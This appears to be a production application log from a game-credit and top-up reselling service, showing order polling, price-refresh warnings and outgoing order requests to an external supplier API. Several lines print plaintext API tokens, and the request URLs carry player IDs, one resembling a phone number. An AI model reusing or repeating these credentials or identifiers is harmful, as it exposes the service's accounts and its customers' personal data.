[2026-03-24 01:34:02] production.INFO: Operation status check completed successfully {"job":"Quryjob","job_id":"2r89SkaTFeOqCxzTdhJSzJU14uflWBK3","execution_time":"2026-03-24 01:34:02","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-OdQl-1774269709","operation_id":162708} 
[2026-03-24 01:35:02] production.INFO: Executing GetProducts task...  
[2026-03-24 01:35:02] production.INFO: بدأت مهمة GetProducts  
[2026-03-24 01:35:02] production.INFO: Executing GetProducts task...  
[2026-03-24 01:35:05] production.INFO: async() رجع: true  
[2026-03-24 01:35:05] production.INFO: هبدأ في refreshPriceinsite()  
[2026-03-24 01:35:05] production.WARNING: Product with ID 395 not found  
[2026-03-24 01:35:05] production.WARNING: Product with ID 213 not found  
[2026-03-24 01:35:05] production.WARNING: Product with ID 212 not found  
[2026-03-24 01:35:05] production.WARNING: Product with ID 211 not found  
[2026-03-24 01:35:05] production.WARNING: Product with ID 210 not found  
[2026-03-24 01:35:05] production.WARNING: Product with ID 209 not found  
[2026-03-24 01:35:05] production.WARNING: Product with ID 214 not found  
[2026-03-24 01:35:05] production.WARNING: Product with ID 215 not found  
[2026-03-24 01:35:05] production.WARNING: Product with ID 216 not found  
[2026-03-24 01:35:06] production.INFO: خلصت refreshPriceinsite()  
[2026-03-24 01:36:03] production.INFO: Executing operation status check... {"job":"Quryjob","job_id":"Oqchdo2NaPOjMIHLBXNbnKPVoPYWWjX6","execution_time":"2026-03-24 01:36:03"} 
[2026-03-24 01:36:03] production.INFO: Found pending operations {"job":"Quryjob","job_id":"Oqchdo2NaPOjMIHLBXNbnKPVoPYWWjX6","execution_time":"2026-03-24 01:36:03","total_operations":4,"sites_count":1} 
[2026-03-24 01:36:03] production.INFO: Processing site batch {"job":"Quryjob","job_id":"Oqchdo2NaPOjMIHLBXNbnKPVoPYWWjX6","execution_time":"2026-03-24 01:36:03","site_id":3,"site_name":"swgamessd","orders_count":4,"order_ids":["ORD-gbEh8x-1774267314","ORD-OdQl-1774269709","ORD-gloNR-1774269732","ORD-ccF-1774273795"]} 
[2026-03-24 01:36:03] production.INFO: Starting batch query for site {"job":"Quryjob","job_id":"Oqchdo2NaPOjMIHLBXNbnKPVoPYWWjX6","execution_time":"2026-03-24 01:36:03","site_id":3,"site_name":"swgamessd"} 
[2026-03-24 01:36:03] production.INFO: Processing orders from batch response {"job":"Quryjob","job_id":"Oqchdo2NaPOjMIHLBXNbnKPVoPYWWjX6","execution_time":"2026-03-24 01:36:03","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","orders_count":4} 
[2026-03-24 01:36:03] production.INFO: Order still processing on external site {"job":"Quryjob","job_id":"Oqchdo2NaPOjMIHLBXNbnKPVoPYWWjX6","execution_time":"2026-03-24 01:36:03","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-ccF-1774273795","operation_id":162825} 
[2026-03-24 01:36:03] production.INFO: Order still processing on external site {"job":"Quryjob","job_id":"Oqchdo2NaPOjMIHLBXNbnKPVoPYWWjX6","execution_time":"2026-03-24 01:36:03","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-gbEh8x-1774267314","operation_id":162641} 
[2026-03-24 01:36:03] production.INFO: Order still processing on external site {"job":"Quryjob","job_id":"Oqchdo2NaPOjMIHLBXNbnKPVoPYWWjX6","execution_time":"2026-03-24 01:36:03","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-gloNR-1774269732","operation_id":162710} 
[2026-03-24 01:36:03] production.INFO: Order still processing on external site {"job":"Quryjob","job_id":"Oqchdo2NaPOjMIHLBXNbnKPVoPYWWjX6","execution_time":"2026-03-24 01:36:03","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-OdQl-1774269709","operation_id":162708} 
[2026-03-24 01:36:03] production.INFO: Batch processing summary {"job":"Quryjob","job_id":"Oqchdo2NaPOjMIHLBXNbnKPVoPYWWjX6","execution_time":"2026-03-24 01:36:03","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-OdQl-1774269709","operation_id":162708,"processed":0,"skipped":4,"updates_prepared":0} 
[2026-03-24 01:36:03] production.INFO: Batch query completed {"job":"Quryjob","job_id":"Oqchdo2NaPOjMIHLBXNbnKPVoPYWWjX6","execution_time":"2026-03-24 01:36:03","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-OdQl-1774269709","operation_id":162708,"processed":0,"errors":0} 
[2026-03-24 01:36:03] production.INFO: Operation status check completed successfully {"job":"Quryjob","job_id":"Oqchdo2NaPOjMIHLBXNbnKPVoPYWWjX6","execution_time":"2026-03-24 01:36:03","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-OdQl-1774269709","operation_id":162708} 
[2026-03-24 01:38:00] production.INFO: Executing operation status check... {"job":"Quryjob","job_id":"yBAr8JGITGWoQ4FsX3YmNLoAEWrWGGLW","execution_time":"2026-03-24 01:38:00"} 
[2026-03-24 01:38:00] production.INFO: Found pending operations {"job":"Quryjob","job_id":"yBAr8JGITGWoQ4FsX3YmNLoAEWrWGGLW","execution_time":"2026-03-24 01:38:00","total_operations":4,"sites_count":1} 
[2026-03-24 01:38:00] production.INFO: Processing site batch {"job":"Quryjob","job_id":"yBAr8JGITGWoQ4FsX3YmNLoAEWrWGGLW","execution_time":"2026-03-24 01:38:00","site_id":3,"site_name":"swgamessd","orders_count":4,"order_ids":["ORD-gbEh8x-1774267314","ORD-OdQl-1774269709","ORD-gloNR-1774269732","ORD-ccF-1774273795"]} 
[2026-03-24 01:38:00] production.INFO: Starting batch query for site {"job":"Quryjob","job_id":"yBAr8JGITGWoQ4FsX3YmNLoAEWrWGGLW","execution_time":"2026-03-24 01:38:00","site_id":3,"site_name":"swgamessd"} 
[2026-03-24 01:38:00] production.INFO: Processing orders from batch response {"job":"Quryjob","job_id":"yBAr8JGITGWoQ4FsX3YmNLoAEWrWGGLW","execution_time":"2026-03-24 01:38:00","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","orders_count":4} 
[2026-03-24 01:38:00] production.INFO: Order still processing on external site {"job":"Quryjob","job_id":"yBAr8JGITGWoQ4FsX3YmNLoAEWrWGGLW","execution_time":"2026-03-24 01:38:00","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-ccF-1774273795","operation_id":162825} 
[2026-03-24 01:38:00] production.INFO: Order still processing on external site {"job":"Quryjob","job_id":"yBAr8JGITGWoQ4FsX3YmNLoAEWrWGGLW","execution_time":"2026-03-24 01:38:00","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-gbEh8x-1774267314","operation_id":162641} 
[2026-03-24 01:38:00] production.INFO: Order still processing on external site {"job":"Quryjob","job_id":"yBAr8JGITGWoQ4FsX3YmNLoAEWrWGGLW","execution_time":"2026-03-24 01:38:00","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-gloNR-1774269732","operation_id":162710} 
[2026-03-24 01:38:00] production.INFO: Order still processing on external site {"job":"Quryjob","job_id":"yBAr8JGITGWoQ4FsX3YmNLoAEWrWGGLW","execution_time":"2026-03-24 01:38:00","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-OdQl-1774269709","operation_id":162708} 
[2026-03-24 01:38:00] production.INFO: Batch processing summary {"job":"Quryjob","job_id":"yBAr8JGITGWoQ4FsX3YmNLoAEWrWGGLW","execution_time":"2026-03-24 01:38:00","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-OdQl-1774269709","operation_id":162708,"processed":0,"skipped":4,"updates_prepared":0} 
[2026-03-24 01:38:00] production.INFO: Batch query completed {"job":"Quryjob","job_id":"yBAr8JGITGWoQ4FsX3YmNLoAEWrWGGLW","execution_time":"2026-03-24 01:38:00","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-OdQl-1774269709","operation_id":162708,"processed":0,"errors":0} 
[2026-03-24 01:38:00] production.INFO: Operation status check completed successfully {"job":"Quryjob","job_id":"yBAr8JGITGWoQ4FsX3YmNLoAEWrWGGLW","execution_time":"2026-03-24 01:38:00","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-OdQl-1774269709","operation_id":162708} 
[2026-03-24 01:39:11] production.INFO: Constructing job for order: 178509  
[2026-03-24 01:39:13] production.INFO: Handling job for order: 178509  
[2026-03-24 01:39:13] production.INFO: 219 {"apiToken":"8jz3jp0yds45726kahf2pll8an"} 
[2026-03-24 01:39:13] production.ERROR: ❌ Invalid player_id JSON: player_id  
[2026-03-24 01:39:13] production.INFO: 🔗 Final request URL: https://sw-games.net/api/fastapi/requestorder/44/params?qty=1&uuid=e640c284-17ab-4d82-9878-174f9d4a1900&Player_ID=0938849710  
[2026-03-24 01:39:13] production.INFO: Sending HTTP request {"method":"GET","url":"https://sw-games.net/api/fastapi/requestorder/44/params?qty=1&uuid=e640c284-17ab-4d82-9878-174f9d4a1900&Player_ID=0938849710","has_body":false} 
[2026-03-24 01:39:13] production.INFO: Operation sent successfully {"operation_id":163441,"response":{"error":false,"message":"تم معالجة الطلب بنجاح","data":{"order_number":"ORD-255Yus8-1774305553","amount":111.6259500000000031150193535722792148590087890625,"status":"processing","product":"105.77 Units SYR","game":"SYRIATEL UNITS","notes":[],"created_at":"2026-03-24 01:39:13"}},"processed_data":{"order_number":"ORD-255Yus8-1774305553","amount":111.6259500000000031150193535722792148590087890625,"status":"processing","product":"105.77 Units SYR","game":"SYRIATEL UNITS"}} 
[2026-03-24 01:39:47] production.INFO: Constructing job for order: 178510  
[2026-03-24 01:39:49] production.INFO: Handling job for order: 178510  
[2026-03-24 01:39:49] production.INFO: 219 {"apiToken":"yqk2kfh8vxg57253hcu6dzaory"} 
[2026-03-24 01:39:49] production.ERROR: ❌ Invalid player_id JSON: player_id  
[2026-03-24 01:39:49] production.INFO: 🔗 Final request URL: https://sw-games.net/api/fastapi/requestorder/591/params?qty=50000&uuid=28cd8b82-9216-4632-b583-2bf2371beec5&Player_ID=78157143  
[2026-03-24 01:39:49] production.INFO: Sending HTTP request {"method":"GET","url":"https://sw-games.net/api/fastapi/requestorder/591/params?qty=50000&uuid=28cd8b82-9216-4632-b583-2bf2371beec5&Player_ID=78157143","has_body":false} 
[2026-03-24 01:39:50] production.INFO: Operation sent successfully {"operation_id":163442,"response":{"error":false,"message":"تم معالجة الطلب بنجاح","data":{"order_number":"ORD-GDkDQDuv-1774305590","amount":4.8923100000000001585931386216543614864349365234375,"status":"processing","product":"Yoho Amount","game":"Yoho","notes":[],"created_at":"2026-03-24 01:39:50"}},"processed_data":{"order_number":"ORD-GDkDQDuv-1774305590","amount":4.8923100000000001585931386216543614864349365234375,"status":"processing","product":"Yoho Amount","game":"Yoho"}} 
[2026-03-24 01:40:02] production.INFO: Executing operation status check... {"job":"Quryjob","job_id":"ipQDMSEHCGyvfQiTxr1kSrX6kCsNGosW","execution_time":"2026-03-24 01:40:02"} 
[2026-03-24 01:40:02] production.INFO: Found pending operations {"job":"Quryjob","job_id":"ipQDMSEHCGyvfQiTxr1kSrX6kCsNGosW","execution_time":"2026-03-24 01:40:02","total_operations":6,"sites_count":2} 
[2026-03-24 01:40:02] production.INFO: Processing site batch {"job":"Quryjob","job_id":"ipQDMSEHCGyvfQiTxr1kSrX6kCsNGosW","execution_time":"2026-03-24 01:40:02","site_id":3,"site_name":"swgamessd","orders_count":5,"order_ids":["ORD-gbEh8x-1774267314","ORD-OdQl-1774269709","ORD-gloNR-1774269732","ORD-ccF-1774273795","ORD-GDkDQDuv-1774305590"]} 
[2026-03-24 01:40:02] production.INFO: Starting batch query for site {"job":"Quryjob","job_id":"ipQDMSEHCGyvfQiTxr1kSrX6kCsNGosW","execution_time":"2026-03-24 01:40:02","site_id":3,"site_name":"swgamessd"} 
[2026-03-24 01:40:02] production.INFO: Processing orders from batch response {"job":"Quryjob","job_id":"ipQDMSEHCGyvfQiTxr1kSrX6kCsNGosW","execution_time":"2026-03-24 01:40:02","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","orders_count":5} 
[2026-03-24 01:40:02] production.INFO: Order still processing on external site {"job":"Quryjob","job_id":"ipQDMSEHCGyvfQiTxr1kSrX6kCsNGosW","execution_time":"2026-03-24 01:40:02","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-ccF-1774273795","operation_id":162825} 
[2026-03-24 01:40:02] production.INFO: Order still processing on external site {"job":"Quryjob","job_id":"ipQDMSEHCGyvfQiTxr1kSrX6kCsNGosW","execution_time":"2026-03-24 01:40:02","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-gbEh8x-1774267314","operation_id":162641} 
[2026-03-24 01:40:02] production.INFO: Order still processing on external site {"job":"Quryjob","job_id":"ipQDMSEHCGyvfQiTxr1kSrX6kCsNGosW","execution_time":"2026-03-24 01:40:02","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-GDkDQDuv-1774305590","operation_id":163442} 
[2026-03-24 01:40:02] production.INFO: Order still processing on external site {"job":"Quryjob","job_id":"ipQDMSEHCGyvfQiTxr1kSrX6kCsNGosW","execution_time":"2026-03-24 01:40:02","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-gloNR-1774269732","operation_id":162710} 
[2026-03-24 01:40:02] production.INFO: Order still processing on external site {"job":"Quryjob","job_id":"ipQDMSEHCGyvfQiTxr1kSrX6kCsNGosW","execution_time":"2026-03-24 01:40:02","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-OdQl-1774269709","operation_id":162708} 
[2026-03-24 01:40:02] production.INFO: Batch processing summary {"job":"Quryjob","job_id":"ipQDMSEHCGyvfQiTxr1kSrX6kCsNGosW","execution_time":"2026-03-24 01:40:02","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-OdQl-1774269709","operation_id":162708,"processed":0,"skipped":5,"updates_prepared":0} 
[2026-03-24 01:40:02] production.INFO: Batch query completed {"job":"Quryjob","job_id":"ipQDMSEHCGyvfQiTxr1kSrX6kCsNGosW","execution_time":"2026-03-24 01:40:02","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-OdQl-1774269709","operation_id":162708,"processed":0,"errors":0} 
[2026-03-24 01:40:02] production.INFO: Processing site batch {"job":"Quryjob","job_id":"ipQDMSEHCGyvfQiTxr1kSrX6kCsNGosW","execution_time":"2026-03-24 01:40:02","site_id":4,"site_name":"swgamessls","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-OdQl-1774269709","operation_id":162708,"orders_count":1,"order_ids":["ORD-255Yus8-1774305553"]} 
[2026-03-24 01:40:02] production.INFO: Starting batch query for site {"job":"Quryjob","job_id":"ipQDMSEHCGyvfQiTxr1kSrX6kCsNGosW","execution_time":"2026-03-24 01:40:02","site_id":4,"site_name":"swgamessls","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-OdQl-1774269709","operation_id":162708} 
[2026-03-24 01:40:03] production.INFO: Processing orders from batch response {"job":"Quryjob","job_id":"ipQDMSEHCGyvfQiTxr1kSrX6kCsNGosW","execution_time":"2026-03-24 01:40:02","site_id":4,"site_name":"swgamessls","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-OdQl-1774269709","operation_id":162708,"orders_count":1} 
[2026-03-24 01:40:03] production.INFO: Batch processing summary {"job":"Quryjob","job_id":"ipQDMSEHCGyvfQiTxr1kSrX6kCsNGosW","execution_time":"2026-03-24 01:40:02","site_id":4,"site_name":"swgamessls","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-255Yus8-1774305553","operation_id":163441,"processed":1,"skipped":0,"updates_prepared":1} 
[2026-03-24 01:40:03] production.INFO: Starting chunked batch processing {"job":"Quryjob","job_id":"ipQDMSEHCGyvfQiTxr1kSrX6kCsNGosW","execution_time":"2026-03-24 01:40:02","site_id":4,"site_name":"swgamessls","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-255Yus8-1774305553","operation_id":163441,"total_items":1,"chunks":1,"chunk_size":10} 
[2026-03-24 01:40:03] production.INFO: Bulk updated operations {"job":"Quryjob","job_id":"ipQDMSEHCGyvfQiTxr1kSrX6kCsNGosW","execution_time":"2026-03-24 01:40:02","site_id":4,"site_name":"swgamessls","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-255Yus8-1774305553","operation_id":163441,"count":1} 
[2026-03-24 01:40:03] production.INFO: Bulk updated orders {"job":"Quryjob","job_id":"ipQDMSEHCGyvfQiTxr1kSrX6kCsNGosW","execution_time":"2026-03-24 01:40:02","site_id":4,"site_name":"swgamessls","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-255Yus8-1774305553","operation_id":163441,"count":1} 
[2026-03-24 01:40:03] production.INFO: SendAcceptReject: Notification queued {"job":"Quryjob","job_id":"ipQDMSEHCGyvfQiTxr1kSrX6kCsNGosW","execution_time":"2026-03-24 01:40:02","site_id":4,"site_name":"swgamessls","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-255Yus8-1774305553","operation_id":163441,"user_id":587,"notification_type":"order_approved","reference_id":178509} 
[2026-03-24 01:40:03] production.INFO: Chunk 1 processing completed {"job":"Quryjob","job_id":"ipQDMSEHCGyvfQiTxr1kSrX6kCsNGosW","execution_time":"2026-03-24 01:40:02","site_id":4,"site_name":"swgamessls","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-255Yus8-1774305553","operation_id":163441,"chunk_number":1,"processed":1,"errors":0,"total_operations":1,"total_orders":1,"total_codes":0,"total_refunds":0} 
[2026-03-24 01:40:03] production.INFO: Batch processing completed {"job":"Quryjob","job_id":"ipQDMSEHCGyvfQiTxr1kSrX6kCsNGosW","execution_time":"2026-03-24 01:40:02","site_id":4,"site_name":"swgamessls","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-255Yus8-1774305553","operation_id":163441,"total_processed":1,"total_errors":0,"chunks_processed":1} 
[2026-03-24 01:40:03] production.INFO: Batch update completed {"job":"Quryjob","job_id":"ipQDMSEHCGyvfQiTxr1kSrX6kCsNGosW","execution_time":"2026-03-24 01:40:02","site_id":4,"site_name":"swgamessls","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-255Yus8-1774305553","operation_id":163441,"processed":1,"errors":0} 
[2026-03-24 01:40:03] production.INFO: Batch query completed {"job":"Quryjob","job_id":"ipQDMSEHCGyvfQiTxr1kSrX6kCsNGosW","execution_time":"2026-03-24 01:40:02","site_id":4,"site_name":"swgamessls","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-255Yus8-1774305553","operation_id":163441,"processed":1,"errors":0} 
[2026-03-24 01:40:03] production.INFO: Operation status check completed successfully {"job":"Quryjob","job_id":"ipQDMSEHCGyvfQiTxr1kSrX6kCsNGosW","execution_time":"2026-03-24 01:40:03","site_id":4,"site_name":"swgamessls","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-255Yus8-1774305553","operation_id":163441} 
[2026-03-24 01:40:03] production.INFO: Executing GetProducts task...  
[2026-03-24 01:40:03] production.INFO: بدأت مهمة GetProducts  
[2026-03-24 01:40:03] production.INFO: Executing GetProducts task...  
[2026-03-24 01:40:05] production.INFO: async() رجع: true  
[2026-03-24 01:40:05] production.INFO: هبدأ في refreshPriceinsite()  
[2026-03-24 01:40:05] production.WARNING: Product with ID 395 not found  
[2026-03-24 01:40:05] production.WARNING: Product with ID 213 not found  
[2026-03-24 01:40:05] production.WARNING: Product with ID 212 not found  
[2026-03-24 01:40:05] production.WARNING: Product with ID 211 not found  
[2026-03-24 01:40:05] production.WARNING: Product with ID 210 not found  
[2026-03-24 01:40:05] production.WARNING: Product with ID 209 not found  
[2026-03-24 01:40:05] production.WARNING: Product with ID 214 not found  
[2026-03-24 01:40:05] production.WARNING: Product with ID 215 not found  
[2026-03-24 01:40:05] production.WARNING: Product with ID 216 not found  
[2026-03-24 01:40:06] production.INFO: خلصت refreshPriceinsite()  
[2026-03-24 01:40:07] production.ERROR: FCM send failed for token 127: Requested entity was not found.  
[2026-03-24 01:41:22] production.INFO: Constructing job for order: 178511  
[2026-03-24 01:41:23] production.INFO: Handling job for order: 178511  
[2026-03-24 01:41:23] production.INFO: 219 {"apiToken":"yqk2kfh8vxg57253hcu6dzaory"} 
[2026-03-24 01:41:23] production.ERROR: ❌ Invalid player_id JSON: player_id  
[2026-03-24 01:41:23] production.INFO: 🔗 Final request URL: https://sw-games.net/api/fastapi/requestorder/564/params?qty=25000&uuid=5696936c-3444-4186-9989-75598a4615ab&Player_ID=170680766  
[2026-03-24 01:41:23] production.INFO: Sending HTTP request {"method":"GET","url":"https://sw-games.net/api/fastapi/requestorder/564/params?qty=25000&uuid=5696936c-3444-4186-9989-75598a4615ab&Player_ID=170680766","has_body":false} 
[2026-03-24 01:41:24] production.INFO: Operation sent successfully {"operation_id":163443,"response":{"error":false,"message":"تم معالجة الطلب بنجاح","data":{"order_number":"ORD-1wyGEk-1774305683","amount":3.453564999999999773905301481136120855808258056640625,"status":"processing","product":"Sugo Amount","game":"Sugo","notes":[],"created_at":"2026-03-24 01:41:24"}},"processed_data":{"order_number":"ORD-1wyGEk-1774305683","amount":3.453564999999999773905301481136120855808258056640625,"status":"processing","product":"Sugo Amount","game":"Sugo"}} 
[2026-03-24 01:42:03] production.INFO: Executing operation status check... {"job":"Quryjob","job_id":"MXWYAqRVOUOJXC2UMo8IJ5pr0qHfGPXx","execution_time":"2026-03-24 01:42:03"} 
[2026-03-24 01:42:03] production.INFO: Found pending operations {"job":"Quryjob","job_id":"MXWYAqRVOUOJXC2UMo8IJ5pr0qHfGPXx","execution_time":"2026-03-24 01:42:03","total_operations":6,"sites_count":1} 
[2026-03-24 01:42:03] production.INFO: Processing site batch {"job":"Quryjob","job_id":"MXWYAqRVOUOJXC2UMo8IJ5pr0qHfGPXx","execution_time":"2026-03-24 01:42:03","site_id":3,"site_name":"swgamessd","orders_count":6,"order_ids":["ORD-gbEh8x-1774267314","ORD-OdQl-1774269709","ORD-gloNR-1774269732","ORD-ccF-1774273795","ORD-GDkDQDuv-1774305590","ORD-1wyGEk-1774305683"]} 
[2026-03-24 01:42:03] production.INFO: Starting batch query for site {"job":"Quryjob","job_id":"MXWYAqRVOUOJXC2UMo8IJ5pr0qHfGPXx","execution_time":"2026-03-24 01:42:03","site_id":3,"site_name":"swgamessd"} 
[2026-03-24 01:42:03] production.INFO: Processing orders from batch response {"job":"Quryjob","job_id":"MXWYAqRVOUOJXC2UMo8IJ5pr0qHfGPXx","execution_time":"2026-03-24 01:42:03","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","orders_count":6} 
[2026-03-24 01:42:03] production.INFO: Order still processing on external site {"job":"Quryjob","job_id":"MXWYAqRVOUOJXC2UMo8IJ5pr0qHfGPXx","execution_time":"2026-03-24 01:42:03","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-1wyGEk-1774305683","operation_id":163443} 
[2026-03-24 01:42:03] production.INFO: Order still processing on external site {"job":"Quryjob","job_id":"MXWYAqRVOUOJXC2UMo8IJ5pr0qHfGPXx","execution_time":"2026-03-24 01:42:03","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-ccF-1774273795","operation_id":162825} 
[2026-03-24 01:42:03] production.INFO: Order still processing on external site {"job":"Quryjob","job_id":"MXWYAqRVOUOJXC2UMo8IJ5pr0qHfGPXx","execution_time":"2026-03-24 01:42:03","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-gbEh8x-1774267314","operation_id":162641} 
[2026-03-24 01:42:03] production.INFO: Order still processing on external site {"job":"Quryjob","job_id":"MXWYAqRVOUOJXC2UMo8IJ5pr0qHfGPXx","execution_time":"2026-03-24 01:42:03","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-gloNR-1774269732","operation_id":162710} 
[2026-03-24 01:42:03] production.INFO: Order still processing on external site {"job":"Quryjob","job_id":"MXWYAqRVOUOJXC2UMo8IJ5pr0qHfGPXx","execution_time":"2026-03-24 01:42:03","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-OdQl-1774269709","operation_id":162708} 
[2026-03-24 01:42:03] production.INFO: Batch processing summary {"job":"Quryjob","job_id":"MXWYAqRVOUOJXC2UMo8IJ5pr0qHfGPXx","execution_time":"2026-03-24 01:42:03","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-OdQl-1774269709","operation_id":162708,"processed":1,"skipped":5,"updates_prepared":1} 
[2026-03-24 01:42:03] production.INFO: Starting chunked batch processing {"job":"Quryjob","job_id":"MXWYAqRVOUOJXC2UMo8IJ5pr0qHfGPXx","execution_time":"2026-03-24 01:42:03","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-OdQl-1774269709","operation_id":162708,"total_items":1,"chunks":1,"chunk_size":10} 
[2026-03-24 01:42:03] production.INFO: Bulk updated operations {"job":"Quryjob","job_id":"MXWYAqRVOUOJXC2UMo8IJ5pr0qHfGPXx","execution_time":"2026-03-24 01:42:03","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-OdQl-1774269709","operation_id":162708,"count":1} 
[2026-03-24 01:42:03] production.INFO: Bulk updated orders {"job":"Quryjob","job_id":"MXWYAqRVOUOJXC2UMo8IJ5pr0qHfGPXx","execution_time":"2026-03-24 01:42:03","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-OdQl-1774269709","operation_id":162708,"count":1} 
[2026-03-24 01:42:03] production.INFO: SendAcceptReject: Notification queued {"job":"Quryjob","job_id":"MXWYAqRVOUOJXC2UMo8IJ5pr0qHfGPXx","execution_time":"2026-03-24 01:42:03","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-OdQl-1774269709","operation_id":162708,"user_id":148,"notification_type":"order_approved","reference_id":178510} 
[2026-03-24 01:42:03] production.INFO: Chunk 1 processing completed {"job":"Quryjob","job_id":"MXWYAqRVOUOJXC2UMo8IJ5pr0qHfGPXx","execution_time":"2026-03-24 01:42:03","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-OdQl-1774269709","operation_id":162708,"chunk_number":1,"processed":1,"errors":0,"total_operations":1,"total_orders":1,"total_codes":0,"total_refunds":0} 
[2026-03-24 01:42:03] production.INFO: Batch processing completed {"job":"Quryjob","job_id":"MXWYAqRVOUOJXC2UMo8IJ5pr0qHfGPXx","execution_time":"2026-03-24 01:42:03","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-OdQl-1774269709","operation_id":162708,"total_processed":1,"total_errors":0,"chunks_processed":1} 
[2026-03-24 01:42:03] production.INFO: Batch update completed {"job":"Quryjob","job_id":"MXWYAqRVOUOJXC2UMo8IJ5pr0qHfGPXx","execution_time":"2026-03-24 01:42:03","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-OdQl-1774269709","operation_id":162708,"processed":1,"errors":0} 
[2026-03-24 01:42:03] production.INFO: Batch query completed {"job":"Quryjob","job_id":"MXWYAqRVOUOJXC2UMo8IJ5pr0qHfGPXx","execution_time":"2026-03-24 01:42:03","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-OdQl-1774269709","operation_id":162708,"processed":1,"errors":0} 
[2026-03-24 01:42:03] production.INFO: Operation status check completed successfully {"job":"Quryjob","job_id":"MXWYAqRVOUOJXC2UMo8IJ5pr0qHfGPXx","execution_time":"2026-03-24 01:42:03","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-OdQl-1774269709","operation_id":162708} 
[2026-03-24 01:42:03] production.INFO: UnifiedNotificationService: No active FCM tokens for App\Models\User ID 148  
[2026-03-24 01:43:51] production.INFO: Constructing job for order: 178512  
[2026-03-24 01:43:54] production.INFO: Handling job for order: 178512  
[2026-03-24 01:43:54] production.INFO: 219 {"apiToken":"8jz3jp0yds45726kahf2pll8an"} 
[2026-03-24 01:43:54] production.ERROR: ❌ Invalid player_id JSON: player_id  
